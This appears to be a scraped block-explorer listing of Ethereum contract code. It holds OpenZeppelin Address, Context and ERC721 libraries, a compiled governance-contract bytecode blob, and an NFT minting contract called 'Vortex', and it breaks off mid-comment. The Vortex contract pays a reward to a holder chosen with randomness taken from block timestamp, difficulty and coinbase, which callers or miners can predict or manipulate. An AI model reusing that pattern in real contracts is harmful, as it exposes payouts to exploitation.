solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806391d148541161007157806391d1485414610193578063a217fddf146101d3578063b61d27f6146101db578063be6a151914610296578063ca15c873146102b3578063d547741f146102d0576100a9565b8063248a9ca3146100ae5780632f2ff15d146100dd57806336568abe1461010b5780636d9e6997146101375780639010d07c14610154575b600080fd5b6100cb600480360360208110156100c457600080fd5b50356102fc565b60408051918252519081900360200190f35b610109600480360360408110156100f357600080fd5b50803590602001356001600160a01b0316610311565b005b6101096004803603604081101561012157600080fd5b50803590602001356001600160a01b031661037d565b6101096004803603602081101561014d57600080fd5b50356103de565b6101776004803603604081101561016a57600080fd5b508035906020013561043a565b604080516001600160a01b039092168252519081900360200190f35b6101bf600480360360408110156101a957600080fd5b50803590602001356001600160a01b031661045b565b604080519115158252519081900360200190f35b6100cb610473565b610109600480360360608110156101f157600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561022157600080fd5b82018360208201111561023357600080fd5b8035906020019184600183028401116401000000008311171561025557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610478945050505050565b6101bf600480360360208110156102ac57600080fd5b5035610761565b6100cb600480360360208110156102c957600080fd5b5035610776565b610109600480360360408110156102e657600080fd5b50803590602001356001600160a01b031661078d565b60009081526020819052604090206002015490565b6000828152602081905260409020600201546103349061032f6107fb565b61045b565b61036f5760405162461bcd60e51b815260040180806020018281038252602f815260200180610ac5602f913960400191505060405180910390fd5b61037982826107ff565b5050565b6103856107fb565b6001600160a01b0316816001600160a01b0316146103d45760405162461bcd60e51b815260040180806020018281038252602f815260200180610ba7602f913960400191505060405180910390fd5b6103798282610868565b30331461041c5760405162461bcd60e51b815260040180806020018281038252602e815260200180610b24602e913960400191505060405180910390fd5b6000908152600160208190526040909120805460ff19169091179055565b600082815260208190526040812061045290836108d1565b90505b92915050565b600082815260208190526040812061045290836108dd565b600081565b600081806020019051602081101561048f57600080fd5b5051604080516bffffffffffffffffffffffff19606088901b166020828101919091526001600160e01b03198416603483015282516018818403018152603890920190925280519101209091506104e6813361045b565b6105215760405162461bcd60e51b815260040180806020018281038252602c815260200180610b52602c913960400191505060405180910390fd5b60008181526001602052604090205460ff161561056f5760405162461bcd60e51b8152600401808060200182810382526029815260200180610b7e6029913960400191505060405180910390fd5b60006060866001600160a01b031686866040518082805190602001908083835b602083106105ae5780518252601f19909201916020918201910161058f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610610576040519150601f19603f3d011682016040523d82523d6000602084013e610615565b606091505b509150915081156106be577f95ee0091e130755865e01ed09db6c0e66a34265b9dd167a2ffffe5efce28bd94816040518080602001828103825283818151815260200191508051906020019080838360005b8381101561067f578181015183820152602001610667565b50505050905090810190601f1680156106ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390a1610758565b7f565c6fa3a11b7e0a64b8248806e929dd749b32b8bceba18e57e2ececdc3e181b816040518080602001828103825283818151815260200191508051906020019080838360005b8381101561071d578181015183820152602001610705565b50505050905090810190601f16801561074a5780820380516001836020036101000a031916815260200191505b509250505060405180910390a15b50505050505050565b60016020526000908152604090205460ff1681565b6000818152602081905260408120610455906108f2565b6000828152602081905260409020600201546107ab9061032f6107fb565b6103d45760405162461bcd60e51b8152600401808060200182810382526030815260200180610af46030913960400191505060405180910390fd5b6000610452836001600160a01b0384166108fd565b3390565b600082815260208190526040902061081790826107e6565b15610379576108246107fb565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526020819052604090206108809082610947565b156103795761088d6107fb565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b6000610452838361095c565b6000610452836001600160a01b0384166109c0565b6000610455826109d8565b600061090983836109c0565b61093f57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610455565b506000610455565b6000610452836001600160a01b0384166109dc565b8154600090821061099e5760405162461bcd60e51b8152600401808060200182810382526022815260200180610aa36022913960400191505060405180910390fd5b8260000182815481106109ad57fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b60008181526001830160205260408120548015610a985783546000198083019190810190600090879083908110610a0f57fe5b9060005260206000200154905080876000018481548110610a2c57fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080610a5c57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610455565b600091505061045556fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e74416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b654865726d657a476f7665726e616e63653a3a646563656e7472616c697a65204f4e4c595f474f5645524e414e43454865726d657a476f7665726e616e63653a3a657865637574653a204f4e4c595f414c4c4f5745445f524f4c454865726d657a476f7665726e616e63653a3a657865637574653a20464f5242494444454e5f524f4c45416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220c596f1a0d0b4754db2a089986cfff3274168bbce2b8635ad322a21ab9c41df1d64736f6c634300060c0033
[ 38 ]
0xf1B3E1F8F6814CA1D5CD35f7ECD0e22CE3a10C31
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "ERC721Enumerable.sol"; import "Ownable.sol"; import "SafeMath.sol"; import "ECDSA.sol"; contract Vortex is ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; using ECDSA for bytes32; uint8 private _giftCount = 0; uint256 private _maxSupply; string private _tokenBaseURI; string private _defaultBaseURI; address private _signerWalet = 0x5f6B7aCbDcB4a43B67c4ba137F2DfEA32CbE371b; mapping(address => uint8) private presaleNumPerAddress; bool public locked; bool public bigBang; bool public presaleLive; bool public revealed; event NameGiven(uint256 indexed tokenId, string name); event StoryGiven(uint256 indexed tokenId, string story); event SolarEclipse(uint256 indexed tokenId, address observedAddress); /** * @dev Throws if called when BigBang has not happened yet */ modifier alreadyRevealed() { require(revealed, "Wait for reveal!"); _; } /** * @dev Throws if called when method is locked for usage */ modifier notLocked() { require(!locked, "Methods are locked"); _; } constructor( string memory _name, string memory _symbol, string memory _uri, uint256 _max ) ERC721(_name, _symbol) { _tokenBaseURI = _uri; _maxSupply = _max; } function setBaseURI(string calldata _newUri) external onlyOwner notLocked { _tokenBaseURI = _newUri; } function setDefaultBaseURI(string calldata _newUri) external onlyOwner { _defaultBaseURI = _newUri; } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require(_exists(tokenId), "Cannot query non-existent token"); return bytes(_tokenBaseURI).length > 0 ? string(abi.encodePacked(_tokenBaseURI, tokenId.toString())) : _defaultBaseURI; } function lock() external onlyOwner { locked = true; } function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } function executeBigBang() external onlyOwner { bigBang = !bigBang; } function togglePresale() external onlyOwner { presaleLive = !presaleLive; } function toggleReveal() external onlyOwner { revealed = !revealed; } /** * @dev In case the wallet is compromised */ function setSignatureWallet(address _newSignerWallet) external onlyOwner { _signerWalet = _newSignerWallet; } function setName(uint256 _tokenId, string memory _name) external alreadyRevealed { require(_exists(_tokenId), "Cannot update non-existent token"); require(ownerOf(_tokenId) == msg.sender, "You don't own this General!"); emit NameGiven(_tokenId, _name); } function setStory(uint256 _tokenId, string memory _story) external alreadyRevealed { require(_exists(_tokenId), "Cannot update non-existent token"); require(ownerOf(_tokenId) == msg.sender, "You don't own this General!"); emit StoryGiven(_tokenId, _story); } /** * @dev Gift Generals to provided addresses. * @param _recipients List of addresses that will receive General */ function gift(address[] memory _recipients) external onlyOwner { require( _giftCount + _recipients.length <= 100, "Max gift limit Reached!" ); require( totalSupply().add(_recipients.length) <= _maxSupply, "All Generals are sold out. Sorry!" ); for (uint256 i = 0; i < _recipients.length; i++) { _mint(_recipients[i], totalSupply() + 1); _giftCount = _giftCount + 1; } } function mintPresale( uint8 _num, bytes calldata _signature, uint256 _maxLimit ) public payable { require(presaleLive, "Presale has not yet started."); require( totalSupply().add(uint256(_num)) <= _maxSupply, "All Generals are sold out. Sorry!" ); require( presaleNumPerAddress[msg.sender] + _num <= _maxLimit, "Can't purchase more than allowed presale Generals" ); require( msg.value >= uint256(_num).mul(5e16), "You need to pay the required price." ); bytes32 messageHash = hashMessage(msg.sender, _maxLimit); require(messageHash.recover(_signature) == _signerWalet, "Wrong Hash"); presaleNumPerAddress[msg.sender] += _num; _mintTokens(_num); } /** * @dev Mint to msg.sender. * @param _num addresses of the future owner of the token */ function mint(uint8 _num) external payable { require(bigBang, "Wait for BigBang!"); require( totalSupply().add(uint256(_num)) <= _maxSupply, "All Generals are sold out. Sorry!" ); require(_num <= 5, "Max mint limit breached!"); require( msg.value >= uint256(_num).mul(5e16), "You need to pay the required price." ); _mintTokens(_num); } /** * @dev Helper function to mint list of tokens */ function _mintTokens(uint8 _num) private { for (uint8 i = 0; i < _num; i++) { uint256 newTokenId = totalSupply() + 1; _mint(msg.sender, newTokenId); if (newTokenId % 100 == 0) { uint256 amount = random() % 100; uint256 realId = newTokenId - amount; address luckyAddress = ownerOf(realId); payable(luckyAddress).transfer(5e16); emit SolarEclipse(realId, luckyAddress); } } } /** * @dev generates a random number based on block info */ function random() private view returns (uint256) { bytes32 randomHash = keccak256( abi.encode( block.timestamp, block.difficulty, block.coinbase, msg.sender ) ); return uint256(randomHash); } function hashMessage(address _sender, uint256 _maxLimit) internal pure returns (bytes32) { bytes32 hash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(_sender, _maxLimit)) ) ); return hash; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "ERC721.sol"; import "IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC721.sol"; import "IERC721Receiver.sol"; import "IERC721Metadata.sol"; import "Address.sol"; import "Context.sol"; import "Strings.sol"; import "ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the 